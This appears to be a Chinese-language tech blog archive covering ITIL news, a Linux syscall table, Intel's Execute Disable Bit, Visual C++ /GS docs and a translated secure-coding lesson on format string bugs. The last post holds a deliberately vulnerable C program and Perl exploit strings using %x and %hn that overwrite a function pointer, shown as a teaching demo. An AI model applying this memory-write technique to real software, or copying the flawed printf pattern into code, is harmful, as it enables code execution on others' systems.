2007年8月12日 星期日

完善的IT服務管理,ITIL、CMMI、COBIT等應納入考慮

‧IBM: ITIL不是IT服務管理的唯一聖經

記者馬培治/台北報導  10/08/2007

面對近來相當熱門的ITIL話題,藍色巨人IBM認為,要做好完善的IT服務管理,除了ITIL,CMMI、COBIT等標準也應納入考慮。

近日來由於itSMF(IT服務管理論壇)台灣分會成立,加上ITIL(IT Infrastructure Library, IT基礎架構集成)第三版的推出,ITIL一時之間成為廠商與企業間的熱門話題,CA、BMC與HP上個(7)月以來更相繼舉辦關於ITIL的活動,總共 吸引逾千位企業代表出席。不過,按兵不動的IBM認為,ITIL登上話題熱潮固然有助於市場推廣,但更強調「做好IT服務管理,CMMI與COBIT等標 準也應納入考慮,」IBM高層表示。

「企業應該評估目前需要提升的IT服務管理領域,選擇適合的標準遵行,」IBM架構服務與IT策略執行顧問Michael Shallcross表示,IT服務管理應該從使用者的角度,來決定採行的標準。他解釋道,若企業IT服務重點在營運面(operational), ITIL便很適合;但若企業IT的主要使用者是開發,則應採CMMI(Capability Maturity Model- Integrated,能力成熟度整合模式);若是治理或規劃,則為COBIT(Control Objectives for Information and related Technology,資訊與相關技術控制目標)。


IBM全球IT服務事業部顧問經理陳俊昌則說,IBM自1983年以來便已自行發展一套專屬的ITSM架構與方法論,此外也參與ITIL相關標準的制定與出版品編寫,「ITIL只是ITSM的一環,企業可以依據自身發展狀況與需求,同時採用諸多標準的精華,」他說。

ITSM(IT Service Management, IT服務管理)為1980年代英國商務部(OGC)提出的概念,是在將IT視為服務的前提下,透過管理的手段,來提升、確保IT服務的品質。OGC與並據 此發展出ITIL架構,欲以流程與方法論協助企業達到良好ITSM的目標。也因為ITIL是針對ITSM所制定而成,使得一般企業一聽到ITSM,便會自 然想到ITIL。

不過由於IT服務定義廣泛,軟體開發、IT治理等亦會影響IT服務品質的內容,也因此被認為應納入ITSM的範圍,這也是為什麼IBM認為CMMI與COBIT的應與ITIL一併列入ITSM範圍的理由。

研究機構IDC企業應用研究經理曹永暉回應IBM的說法表示,ITIL是達到良好ITSM的途徑之一,但不是全部。

「但國內企業偏好採用既存的標準,因此一提到ITSM,企業往往會先想到ITIL,」曹永暉認為,ITIL雖以最佳實務(Best Practice)的觀點提供企業提升ITSM的準則,但畢竟沒有兩家企業是完全相同,他認為,與其追隨單一標準,企業不妨以ITIL架構為基礎,發展自 有的IT服務管理流程。

其它業者亦認同ITIL不是絕對,但確是進行ITSM很好的參考準則。CA資深技術顧問江禎義便說,要做到良好的ITSM,ITIL當然不是惟一的途徑,但他認為,對於沒有資源自行開發管理流程的企業來說,「有現成的標準可參考,會比較容易,」他說。

不過,對IBM提出CMMI與COBIT等標準亦應納入企業ITSM規劃,曹永暉認為,其他廠商未必不知道ITSM包含範圍不止ITIL,而是市場行銷的 考量問題。他認為,IBM同時提出ITIL、COBIT與CMMI,有利於產品的整合銷售,「不是每家推廣ITIL的廠商,產品都像IBM一樣完整,」曹 永暉說。

Linux 2.6 的 System Call:12 大類

‧Linux 2.6 的 System Call:12 大類
jollen 發表於 October 11, 2006 2:58 PM /本文出處: www.jollen.org 已取得原作者授權使用

把 Linux 提供的 sytsem call service 依分類做整理,並提供實作檔案。本表使用於 Jollen 的「2. GNU Toolchains 與 Embedded Linux Programming」課程中,在此提供給大家做參考。目前依據 Linux 2.6.11 原始碼製成,請搭配 2.6.11 以上的版本做研究。

no Syscall name Implementation file in Linux 2.6.11 (or above)

目前大致把 Linux 2.6.11 的 system call 分成以下幾個類別:

最後一個欄位列出該 system call 實作的檔案 (以 Linux 2.6.11 為主)。請注意,Blog 裡並沒有該檔案的 hyperlink,您可以複制本 blog,並準備一份 Linux 2.6.11 (or above) 的原始碼,以方便 link 到檔案做查詢。

Machine-dependent (i386)
101 sys_ioperm linux/arch/i386/kernel/ioport.c
110 sys_iopl linux/arch/i386/kernel/ioport.c
123 sys_modify_ldt linux/arch/i386/kernel/ldt.c
2 sys_fork linux/arch/i386/kernel/process.c
11 sys_execve linux/arch/i386/kernel/process.c
120 sys_clone linux/arch/i386/kernel/process.c
190 sys_vfork linux/arch/i386/kernel/process.c
243 sys_set_thread_area linux/arch/i386/kernel/process.c
244 sys_get_thread_area linux/arch/i386/kernel/process.c
26 sys_ptrace linux/arch/i386/kernel/ptrace.c
67 sys_sigaction linux/arch/i386/kernel/signal.c
72 sys_sigsuspend linux/arch/i386/kernel/signal.c
119 sys_sigreturn linux/arch/i386/kernel/signal.c
173 sys_rt_sigreturn linux/arch/i386/kernel/signal.c
179 sys_rt_sigsuspend linux/arch/i386/kernel/signal.c
186 sys_sigaltstack linux/arch/i386/kernel/signal.c
42 sys_pipe linux/arch/i386/kernel/sys_i386.c
59 sys_olduname linux/arch/i386/kernel/sys_i386.c
82 old_select linux/arch/i386/kernel/sys_i386.c
90 old_mmap linux/arch/i386/kernel/sys_i386.c
109 sys_uname linux/arch/i386/kernel/sys_i386.c
117 sys_ipc linux/arch/i386/kernel/sys_i386.c
192 sys_mmap2 linux/arch/i386/kernel/sys_i386.c
113 sys_vm86old linux/arch/i386/kernel/vm86.c
166 sys_vm86 linux/arch/i386/kernel/vm86.c
Filesystem
245 sys_io_setup linux/fs/aio.c
246 sys_io_destroy linux/fs/aio.c
247 sys_io_getevents linux/fs/aio.c
248 sys_io_submit linux/fs/aio.c
249 sys_io_cancel linux/fs/aio.c
36 sys_sync linux/fs/buffer.c
118 sys_fsync linux/fs/buffer.c
134 sys_bdflush linux/fs/buffer.c
148 sys_fdatasync linux/fs/buffer.c
183 sys_getcwd linux/fs/dcache.c
253 sys_lookup_dcookie linux/fs/dcookies.c
254 sys_epoll_create linux/fs/eventpoll.c
255 sys_epoll_ctl linux/fs/eventpoll.c
256 sys_epoll_wait linux/fs/eventpoll.c
86 sys_uselib linux/fs/exec.c
41 sys_dup linux/fs/fcntl.c
55 sys_fcntl linux/fs/fcntl.c
63 sys_dup2 linux/fs/fcntl.c
221 sys_fcntl64 linux/fs/fcntl.c
135 sys_sysfs linux/fs/filesystems.c
54 sys_ioctl linux/fs/ioctl.c
143 sys_flock linux/fs/locks.c
9 sys_link linux/fs/namei.c
10 sys_unlink linux/fs/namei.c
14 sys_mknod linux/fs/namei.c
38 sys_rename linux/fs/namei.c
39 sys_mkdir linux/fs/namei.c
40 sys_rmdir linux/fs/namei.c
83 sys_symlink linux/fs/namei.c
21 sys_mount linux/fs/namespace.c
22 sys_oldumount linux/fs/namespace.c
52 sys_umount linux/fs/namespace.c
217 sys_pivot_root linux/fs/namespace.c
169 sys_nfsservctl linux/fs/nfsctl.c
5 sys_open linux/fs/open.c
6 sys_close linux/fs/open.c
8 sys_creat linux/fs/open.c
12 sys_chdir linux/fs/open.c
15 sys_chmod linux/fs/open.c
30 sys_utime linux/fs/open.c
33 sys_access linux/fs/open.c
61 sys_chroot linux/fs/open.c
92 sys_truncate linux/fs/open.c
93 sys_ftruncate linux/fs/open.c
94 sys_fchmod linux/fs/open.c
99 sys_statfs linux/fs/open.c
100 sys_fstatfs linux/fs/open.c
111 sys_vhangup linux/fs/open.c
133 sys_fchdir linux/fs/open.c
193 sys_truncate64 linux/fs/open.c
194 sys_ftruncate64 linux/fs/open.c
198 sys_lchown linux/fs/open.c
207 sys_fchown linux/fs/open.c
212 sys_chown linux/fs/open.c
268 sys_statfs64 linux/fs/open.c
269 sys_fstatfs64 linux/fs/open.c
131 sys_quotactl linux/fs/quota.c
89 old_readdir linux/fs/readdir.c
141 sys_getdents linux/fs/readdir.c
220 sys_getdents64 linux/fs/readdir.c
3 sys_read linux/fs/read_write.c
4 sys_write linux/fs/read_write.c
19 sys_lseek linux/fs/read_write.c
140 sys_llseek linux/fs/read_write.c
145 sys_readv linux/fs/read_write.c
146 sys_writev linux/fs/read_write.c
180 sys_pread64 linux/fs/read_write.c
181 sys_pwrite64 linux/fs/read_write.c
187 sys_sendfile linux/fs/read_write.c
239 sys_sendfile64 linux/fs/read_write.c
142 sys_select linux/fs/select.c
168 sys_poll linux/fs/select.c
18 sys_stat linux/fs/stat.c
28 sys_fstat linux/fs/stat.c
84 sys_lstat linux/fs/stat.c
85 sys_readlink linux/fs/stat.c
106 sys_newstat linux/fs/stat.c
107 sys_newlstat linux/fs/stat.c
108 sys_newfstat linux/fs/stat.c
195 sys_stat64 linux/fs/stat.c
196 sys_lstat64 linux/fs/stat.c
197 sys_fstat64 linux/fs/stat.c
62 sys_ustat linux/fs/super.c
226 sys_setxattr linux/fs/xattr.c
227 sys_lsetxattr linux/fs/xattr.c
228 sys_fsetxattr linux/fs/xattr.c
229 sys_getxattr linux/fs/xattr.c
230 sys_lgetxattr linux/fs/xattr.c
231 sys_fgetxattr linux/fs/xattr.c
232 sys_listxattr linux/fs/xattr.c
233 sys_llistxattr linux/fs/xattr.c
234 sys_flistxattr linux/fs/xattr.c
235 sys_removexattr linux/fs/xattr.c
236 sys_lremovexattr linux/fs/xattr.c
237 sys_fremovexattr linux/fs/xattr.c
Linux Kernel
51 sys_acct linux/kernel/acct.c
184 sys_capget linux/kernel/capability.c
185 sys_capset linux/kernel/capability.c
136 sys_personality linux/kernel/exec_domain.c
1 sys_exit linux/kernel/exit.c
7 sys_waitpid linux/kernel/exit.c
114 sys_wait4 linux/kernel/exit.c
252 sys_exit_group linux/kernel/exit.c
258 sys_set_tid_address linux/kernel/fork.c
240 sys_futex linux/kernel/futex.c
104 sys_setitimer linux/kernel/itimer.c
105 sys_getitimer linux/kernel/itimer.c
128 sys_init_module linux/kernel/module.c
129 sys_delete_module linux/kernel/module.c
162 sys_nanosleep linux/kernel/posix-timers.c
259 sys_timer_create linux/kernel/posix-timers.c
260 sys_timer_settime linux/kernel/posix-timers.c
261 sys_timer_gettime linux/kernel/posix-timers.c
262 sys_timer_getoverrun linux/kernel/posix-timers.c
263 sys_timer_delete linux/kernel/posix-timers.c
264 sys_clock_settime linux/kernel/posix-timers.c
265 sys_clock_gettime linux/kernel/posix-timers.c
266 sys_clock_getres linux/kernel/posix-timers.c
267 sys_clock_nanosleep linux/kernel/posix-timers.c
103 sys_syslog linux/kernel/printk.c
Scheduling
34 sys_nice linux/kernel/sched.c
154 sys_sched_setparam linux/kernel/sched.c
155 sys_sched_getparam linux/kernel/sched.c
156 sys_sched_setscheduler linux/kernel/sched.c
157 sys_sched_getscheduler linux/kernel/sched.c
158 sys_sched_yield linux/kernel/sched.c
159 sys_sched_get_priority_max linux/kernel/sched.c
160 sys_sched_get_priority_min linux/kernel/sched.c
161 sys_sched_rr_get_interval linux/kernel/sched.c
241 sys_sched_setaffinity linux/kernel/sched.c
242 sys_sched_getaffinity linux/kernel/sched.c
Signals
0 sys_restart_syscall linux/kernel/signal.c
29 sys_pause linux/kernel/signal.c
37 sys_kill linux/kernel/signal.c
48 sys_signal linux/kernel/signal.c
68 sys_sgetmask linux/kernel/signal.c
69 sys_ssetmask linux/kernel/signal.c
73 sys_sigpending linux/kernel/signal.c
126 sys_sigprocmask linux/kernel/signal.c
174 sys_rt_sigaction linux/kernel/signal.c
175 sys_rt_sigprocmask linux/kernel/signal.c
176 sys_rt_sigpending linux/kernel/signal.c
177 sys_rt_sigtimedwait linux/kernel/signal.c
178 sys_rt_sigqueueinfo linux/kernel/signal.c
238 sys_tkill linux/kernel/signal.c
270 sys_tgkill linux/kernel/signal.c
Systems
43 sys_times linux/kernel/sys.c
57 sys_setpgid linux/kernel/sys.c
60 sys_umask linux/kernel/sys.c
65 sys_getpgrp linux/kernel/sys.c
66 sys_setsid linux/kernel/sys.c
74 sys_sethostname linux/kernel/sys.c
75 sys_setrlimit linux/kernel/sys.c
76 sys_old_getrlimit linux/kernel/sys.c
77 sys_getrusage linux/kernel/sys.c
88 sys_reboot linux/kernel/sys.c
96 sys_getpriority linux/kernel/sys.c
97 sys_setpriority linux/kernel/sys.c
121 sys_setdomainname linux/kernel/sys.c
122 sys_newuname linux/kernel/sys.c
132 sys_getpgid linux/kernel/sys.c
147 sys_getsid linux/kernel/sys.c
172 sys_prctl linux/kernel/sys.c
191 sys_getrlimit linux/kernel/sys.c
203 sys_setreuid linux/kernel/sys.c
204 sys_setregid linux/kernel/sys.c
205 sys_getgroups linux/kernel/sys.c
206 sys_setgroups linux/kernel/sys.c
208 sys_setresuid linux/kernel/sys.c
209 sys_getresuid linux/kernel/sys.c
210 sys_setresgid linux/kernel/sys.c
211 sys_getresgid linux/kernel/sys.c
213 sys_setuid linux/kernel/sys.c
214 sys_setgid linux/kernel/sys.c
215 sys_setfsuid linux/kernel/sys.c
216 sys_setfsgid linux/kernel/sys.c
149 sys_sysctl linux/kernel/sysctl.c
Time
13 sys_time linux/kernel/time.c
25 sys_stime linux/kernel/time.c
78 sys_gettimeofday linux/kernel/time.c
79 sys_settimeofday linux/kernel/time.c
124 sys_adjtimex linux/kernel/time.c
Kernel Timer & Process
20 sys_getpid linux/kernel/timer.c
27 sys_alarm linux/kernel/timer.c
64 sys_getppid linux/kernel/timer.c
116 sys_sysinfo linux/kernel/timer.c
199 sys_getuid linux/kernel/timer.c
200 sys_getgid linux/kernel/timer.c
201 sys_geteuid linux/kernel/timer.c
202 sys_getegid linux/kernel/timer.c
224 sys_gettid linux/kernel/timer.c
16-bit uid (wrapper functions)
16 sys_lchown16 linux/kernel/uid16.c
23 sys_setuid16 linux/kernel/uid16.c
24 sys_getuid16 linux/kernel/uid16.c
46 sys_setgid16 linux/kernel/uid16.c
47 sys_getgid16 linux/kernel/uid16.c
49 sys_geteuid16 linux/kernel/uid16.c
50 sys_getegid16 linux/kernel/uid16.c
70 sys_setreuid16 linux/kernel/uid16.c
71 sys_setregid16 linux/kernel/uid16.c
80 sys_getgroups16 linux/kernel/uid16.c
81 sys_setgroups16 linux/kernel/uid16.c
95 sys_fchown16 linux/kernel/uid16.c
138 sys_setfsuid16 linux/kernel/uid16.c
139 sys_setfsgid16 linux/kernel/uid16.c
164 sys_setresuid16 linux/kernel/uid16.c
165 sys_getresuid16 linux/kernel/uid16.c
170 sys_setresgid16 linux/kernel/uid16.c
171 sys_getresgid16 linux/kernel/uid16.c
182 sys_chown16 linux/kernel/uid16.c
Memory Management
250 sys_fadvise64 linux/mm/fadvise.c
225 sys_readahead linux/mm/filemap.c
257 sys_remap_file_pages linux/mm/fremap.c
219 sys_madvise linux/mm/madvise.c
218 sys_mincore linux/mm/mincore.c
150 sys_mlock linux/mm/mlock.c
151 sys_munlock linux/mm/mlock.c
152 sys_mlockall linux/mm/mlock.c
153 sys_munlockall linux/mm/mlock.c
45 sys_brk linux/mm/mmap.c
91 sys_munmap linux/mm/mmap.c
125 sys_mprotect linux/mm/mprotect.c
163 sys_mremap linux/mm/mremap.c
144 sys_msync linux/mm/msync.c
Swapfile
87 sys_swapon linux/mm/swapfile.c
115 sys_swapoff linux/mm/swapfile.c
Socket
102 sys_socketcall linux/net/socket.c

--jollen

病毒防護技術

‧病毒防護技術 (Execute Disable Bit)以及企業安全性難題
惡意的「緩衝溢位 (Buffer Overflow)」駭客攻擊是企業所面臨的最大安全性威脅之一,不但會造成 IT 資源的損耗,還有可能會損壞重要的數位資產。一般的攻擊模式是由惡意的蠕蟲建立巨量的程式碼,使處理器遭受疲勞轟炸,導致蠕蟲得以透過網路繁殖,以感染其他的電腦。這些攻擊會造成企業的生產力損失,亦即可觀的財物損失。

解決方案

只要結合支援此技術的作業系統,Intel 的病毒防護技術 (Execute Disable Bit)Ф 就可以防護電腦免於某些惡意「緩衝溢位 (Buffer Overflow)」的駭客攻擊。

病毒防護技術 (Execute Disable Bit) 可以讓處理器針對記憶體區域進行分類,以判斷是否能夠執行應用程式的程式碼。當惡意的蠕蟲嘗試在緩衝區插入程式碼,處理器就會停止該程式碼的執行,避免造成系統的破壞以及蠕蟲的繁殖。

以具備病毒防護技術 (Execute Disable Bit) 的系統取代老舊的電腦,即可防止蠕蟲的攻擊,降低因病毒所導致的修復成本。此外,病毒防護技術 (Execute Disable Bit) 還可以省略某些針對「緩衝溢位 (Buffer Overflow)」攻擊之軟體修補程式的安裝。有效結合病毒防護技術 (Execute Disable Bit) 與防毒軟體、防火牆、間諜軟體防護功能、電子郵件過濾軟體以及其他網路安全機制,可以讓資訊管理人員將 IT 資源投入在更有附加價值的項目上。


企業基礎架構的安全性

如何平衡安全防護機制與有限資源之間的取捨,是令人卻步的困難工作。從安全性的角度來看,風險和陷阱與日俱增,手法也日新月異,很難進行預測;而從預算限制的角度而言,IT 無法享受「理想世界」中的無止盡資源。

採用 Intel® 架構的安全機制,可以協助不同規模的 IT 組織有效防護企業資料。Intel 與安全軟體供應商互通合作,並提供各種網路裝置的安全功能,可以協助您強化企業基礎架構的防範措施。


無線通訊與無線區域網路 (WLAN) 的安全性

無線區域網路 (WLAN) 技術所實現的彈性和行動力,是各行各業不可或缺的競爭優勢。然而,由於 WLAN 技術是採用無線電波傳送資料,無線網路的安全性顧慮不容忽視。

只要熟悉各種可用的 WLAN 安全標準,瞭解安全漏洞的來龍去脈,並在貴組織中針對安全性實施相關的最佳準則,即可確保資料的安全性。

Ф 若要使用病毒防護技術 (Execute Disable Bit) 的功能,電腦需要具備病毒防護技術 (Execute Disable Bit) 的處理器以及支援此技術的作業系統。請洽詢您的電腦製造商,以瞭解您的系統是否具備病毒防護技術 (Execute Disable Bit) 的功能。

編譯器選項,緩衝區安全性檢查

Visual C++ 編譯器選項
/GS (緩衝區安全性檢查)

會偵測某些覆寫傳回位址的緩衝區滿溢 (Buffer Overrun),這是一種利用未強制執行緩衝區大小限制之程式碼的常用技術,這是藉由將安全性檢查插入已編譯的程式碼來達成。

/GS[-]
備註

/GS 預設為開啟。如果您希望應用程式沒有安全性漏洞,請使用 /GS

如需 /GS 的詳細資訊,請參閱 Compiler Security Checks In DepthCompiler Security Checks In Depth。

此編譯器會插入具有本機字串緩衝區的簽入函式,或是 x86 上具有例外處理的函式。字串緩衝區是定義為陣列,其項目大小是一個或兩個位元組,而整個陣列的大小至少是五個位元組,或任何以 _alloca 配置的緩衝區。

在 所有平台上,如果此函式有本機字串緩衝區,編譯器會插入 Cookie 來保護函式的傳回位址。函式結束碼上,以及在 64 位元作業系統上的框架回溯期間或是在 x86 上有某種形式之例外處理的函式上,會檢查此 Cookie。在 x86 上,編譯器也會插入 Cookie 來保護函式之例外處理常式的位址;在框架回溯期間會檢查這個 Cookie。

/GS 主要會嘗試偵測直接緩衝區滿溢至傳回位址。緩衝區滿溢較容易運用於呼叫慣例的機器,該呼叫慣例會在堆疊上儲存函式呼叫的傳回位址。例如,x86 所使用的呼叫慣例會在堆疊上儲存函式呼叫的傳回位址。

有關編譯器認為可能發生緩衝區滿溢問題的函式,該編譯器會在傳回位址前配置堆疊空間。當函式進入時,這個配置的空間會載入一個會在模組載入時記算一次的安全性 Cookie。然後,在函式離開時,會呼叫 Helper 函式來確定這個 Cookie 的值是否仍然一樣。

如果該值不再相同,可能是發生了堆疊覆寫,處理序只好結束。在 Visual C++ 2005 之前,會顯示一個對話方塊,指出發生了堆疊覆寫的情況。

/GS 也會防止有弱點的參數傳遞至函式。有弱點的參數是指標、C++ 參考,或者是含有指標、字串緩衝區或 C++ 參考的 C 結構 (C++ POD 型別)。

有 弱點的參數會先配置,然後才配置 Cookie 和本機變數。緩衝區滿溢可以覆寫這些參數,函式中使用這些參數的程式碼可能會在函式傳回之前導致發生攻擊,從而避開了安全性檢查。為了將此危險性降到最 低,編譯器會在函式初構期間製作有弱點的參數之複本,並將它們放在任何緩衝區的儲存區域下。

在下列情況中,編譯器不會針對有弱點的參數提供任何安全性保護措施:

  • 沒有包含緩衝區的函式

  • 在沒有啟用最佳化 (/O 選項 (最佳化程式碼)) 的情況下

  • 具有可變個數引數清單 (...) 的函式

  • naked (C++) 標記的函式。

  • 在第一個陳述式中包含內嵌組譯程式碼的函式

  • 在緩衝區滿溢的事件中,如果僅以比較不可能遭利用的方式來使用參數

/GS 需要初始化安全性 Cookie,必須要先初始化這個 Cookie 之後,任何使用此 Cookie 的函式才會執行。一旦進入到 EXE 或 DLL 之後,就必須初始化此安全性 Cookie。當使用預設 CRT 進入點 (mainCRTStartup、wmainCRTStartup、WinMainCRTStartup、wWinMainCRTStartup 或 _DllMainCRTStartup) 時,會自動處理這項作業;如果您使用替代的進入點,則必須透過 __security_init_cookie 的呼叫來以手動方式進行。

當使用 /clr (Common Language Runtime 編譯) 編譯時,Managed 函式會支援 /GS

/GS 並未保護所有的緩衝區滿溢安全性不受攻擊。例如,如果物件中有緩衝區與 vtable,緩衝區滿溢可能會損毀 vtable 並讓攻擊有機可趁。

即使使用 /GS,仍應致力編寫安全的程式碼。也就是說,請確保程式碼不會發生緩衝區滿溢。如果程式碼中確實有緩衝區滿溢的危險,則 /GS 可以保護您的應用程式。

若要在 Visual Studio 開發環境中設定這個編譯器選項

  1. 開啟專案的 [屬性 頁] 對話方塊。如需詳細資訊,請參閱 HOW TO:開啟專案屬性頁

  2. 按一下 [C/C++] 資料夾。

  3. 按一下 [程式碼產生] 屬性頁。

  4. 修改 [緩衝區安全性檢查] 屬性。

若要以程式方式設定這個編譯器選項

請參閱

參考

編譯器選項
設定編譯器選項

系統安全公敵 - 緩衝溢位 (三)

系統安全公敵 - 緩衝溢位 ()

格式化字串臭蟲

格 式化字串臭蟲並不盡然是緩衝溢位,不過卻會發生同樣的問題。您可以在BugTraq中發現兩個相當好的文章:一個是Tim Newsham在http://www.securityfocus.com/archive/1/81565中所貼的文章,另一篇則是 LamagraArgamal在www.securityfocus.com/archive/1/66842所發表。基本上這個問題起源於函數沒有任何 實際可用的方法去決定有多少引數能被引入。像是printf、包括C的執行函數(run-time function),是個能使用很多種引數的函數。這個問題中有趣的部分是,%n format specifier寫入的位元數值將會被以格式化字串的方式寫入指標,並且做為引數的內容。經過稍微的修補,我們發現處理的記憶體空間中的隨機位元,被攻 擊者所選擇的位元所覆寫。在過去幾年,有許多格式化字串臭蟲發現於UNIX的程式中,在Windows中想要放入這樣的臭蟲似乎有點困難,只有在寫入 0x00ffffff或是以下的大型記憶體區塊時才可能發生。像是堆疊一般會被發現在大約0x00120000的範圍中。

如果運氣好的話,這個問題可以被攻擊者克服,甚至於攻擊者並不夠幸運,他可以輕易的從0x01000000到0x7fffffff 的位址寫入資料。要修正這個錯誤也很簡單:將格式化的字串傳送到printf家族的函數裡,如printf(input)即為可利用的,printf(“%s", input),則為不可利用的。這裡是一個描寫這個問題的應用程式:

#include
#include
#include

typedef void (*ErrFunc)(unsigned long);

void GhastlyError(unsigned long err)
{
printf(“Unrecoverable error! - err = %d\n", err);
exit(-1);
}

void RecoverableError(unsigned long err)
{
printf(“Something went wrong, but you can fix it - err = %d\n",
err);
}

void PrintMessage(char* file, unsigned long err)
{
ErrFunc fErrFunc;

char buf[512];
if(err == 5)
{
//存取拒絕
fErrFunc = GhastlyError;
}
else
{
fErrFunc = RecoverableError;
}
_snprintf(buf, sizeof(buf)-1, “Cannot find %s", file);
//顯示給使用者看緩衝區中的內容
printf(“%s", buf);
//預防編譯器修改了你的程式
printf(“\nAddress of fErrFunc is %p\n", &fErrFunc);
//這裡是發生問題的地方
//別在你的程式中做這樣的動作
fprintf(stdout, buf);
printf(“\nCalling ErrFunc %p\n", fErrFunc);
fErrFunc(err);
}
void foo(void)
{
printf(“Augh! We’ve been hacked!\n”);
}
int main(int argc, char* argv[])
{
FILE* pFile;
//用了一些小技巧讓這個例子簡單一些

printf(“Address of foo is %p\n", foo);
//這只會開啟現存的檔案

pFile = fopen(argv[1], “r”);
if(pFile == NULL)
{
PrintMessage(argv[1], errno);
}
else
{
printf(“Opened %s\n", argv[1]);
fclose(pFile);
}
return 0;
}

這裡是應用程式如何運做的例子。它試著開啟一個檔案,如果開啟檔案失敗的話,它就會呼叫PrintMessage,然後判斷錯誤是可復原的或者是可怕的災難,並且設定函數指標。PrintMessage 然後就會格式化錯誤字串到緩衝區,並且把它列印出來。利用這個方法,我插入了一些額外的printf呼叫來幫助建立剝削,並且幫助讀者找出位址的不同處。如果你並沒有格式化字串的臭蟲時,App也會列印出它應該要列印的字串。

就如同往常,我們的目標是取得foo函數,並執行它1,以下是你輸入一個正常的檔名時,會發生的問題:

C:\Secureco2\Chapter05>formatstring.exe not_exist

Address of foo is 00401100
Cannot find not_exist
Address of fErrFunc is 0012FF1C
Cannot find not_exist
Calling ErrFunc 00401030
Something went wrong, but you can fix it - err = 2
Now let’s see what happens when we use a malicious string:

C:\Secureco2\Chapter05>formatstring.exe %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x

Address of foo is 00401100
Cannot find %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Address of fErrFunc is 0012FF1C
Cannot find 14534807ffdf000000000000000012fde8077f516b36e6e6143662
0746f20646e69782578257825782578257825782578257825782578257825
Calling ErrFunc 00401030
Something went wrong, but you can fix it - err = 2

這看起來很有趣,我們在這裡看到的是資料被放在堆疊裡,請再次注意到這個問題。 “7825”字串是%x 的相反,因為在這裡我們用的是little endian 晶片架構。請思考我們餵給應用程式的字串現在已經變成資料了。讓我們來玩一下它們。使用Perl script會讓它容易些—我放置$arg內容的程式都被拒絕了,如我們透過這個例子所執行的,先標註最後$arg的宣告,然後再將下一行解除標註。這裡 是它的Perl script指令檔內容:

# Comment out each $arg string, and uncomment the next to follow along
# This is the first cut at an exploit string
# The last %p will show up pointing at 0x67666500
# Translate this due to little-
# endian architecture, and we get 0x00656667
$arg =
“%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%p”."ABC";
# Now comment out the above $arg, and use this one
# $arg =
“......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p”."ABC";
# Now we’re actually going to start writing memory -
let’s overwrite the ErrFunc pointer
# $arg =
“.....%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn”."\x1c\xff\x12";
# Finally, uncomment this one to see the exploit really work
# $arg =
“%.4066x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn”."\x1c\xff\x12";
$cmd = “formatstring “.$arg;
system($cmd);

要使用第一個剝削字串,先將ABC標註到最後,然後讓將%x 換成%p 。起先不會有任何變化,但是放入一些%x內容後,我們就會得到下列的結果:

C:\Secureco2\Chapter05>perl test1.pl
Address of foo is 00401100
Cannot find %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC
Address of fErrFunc is 0012FF1C
Cannot find 70005c6f00727[…]782578257025782500434241ABC

如果你最後整理了%x,我們最後就會得到00434241ABC。我們把最後的位置以ABC取代了%p。加入空字串的話,我們就可以在這個應用程式的記憶體當中寫入空白。當我們的剝削字串完全的被損毀後,我們可以使用Perl script將ABC改成 “\x1c\xff\x12”,這樣可以允許我們覆寫掉fErrFunc中的內容。

現在程式告訴我們,我正在一些有趣的地方呼叫ErrFunc 函數。在建立這個範例程式時,我發現它以(.)字元開始,然後修正符合%x的內容。如果你在輸入除了00434241ABC外還有別的內容,從前面加入一 些字元,讓資料排列在4-byte範圍裡,並且在指定讀取%p參數的地方的新增或者是移除%x 。在Perl script中標示出第一個剝削,並且將第二個解除標示。我們現在在下一頁中上方處是什麼內容:

C:\Secureco2\Chapter05>perl test.pl
Address of foo is 00401100
Cannot find ......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC
Address of fErrFunc is 0012FF1C
Cannot find ......70005c6f00727[...]8257025782500434241ABC

一旦你使用了前面的四個或五個字元,你就可以準備將任何字元寫入記憶體中。首先,請記住%hn 將會寫入已經寫入之前被%p所指到的16-bit值的字元數,刪除你所插入以h為傳輸襯墊字元,並且將 “ABC”變更為“\x1c\xff\x12”,並且試試看如何使用它。如果你跟我用一樣的方法來執行它的話,你將會看到以下的程式:

C:\Secureco2\Chapter05>perl test.pl
Address of foo is 00401100
Cannot find .....%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn? ?
Address of fErrFunc is 0012FF1C
Cannot find .....70005c6f00727[…]78257825786e682578? ?
Calling ErrFunc 00400129

在你的應用程式可能丟出插斷或者無法使用後,現在我們要到別的地方。請注意我們現在管理覆寫ErrFunc 指標。我知道foo位於0x00401100記憶體位置中,而且我設定ErrFunc 函數到0x00400129這個位址,它有4055位元,較我們所管理寫入的內容多。它做的事就是將它的第一個%x呼叫填入.4066。當我執行test.pl,我取得這個結果:

Calling ErrFunc 00401100
Augh! We’ve been hacked!

因為我沒有在記憶體中加入很多的內容,因此app可以優雅的存在著。我為我想要寫入的應用程式正確的寫入2-byte的資料。請記得,如果你允許攻擊者在 你的應用程式的任何地方寫入記憶體中,在他想出如何將它變成災難或者是任何可執行檔前,它都是一個很好的時機。這個臭蟲可以很容易的被避免掉,如果你有一 個客製化的儲存字串,用來幫助你在應用程式使用其它的語言,如果你這樣做的話,請記住字串無法被未被授權的使用者寫入。

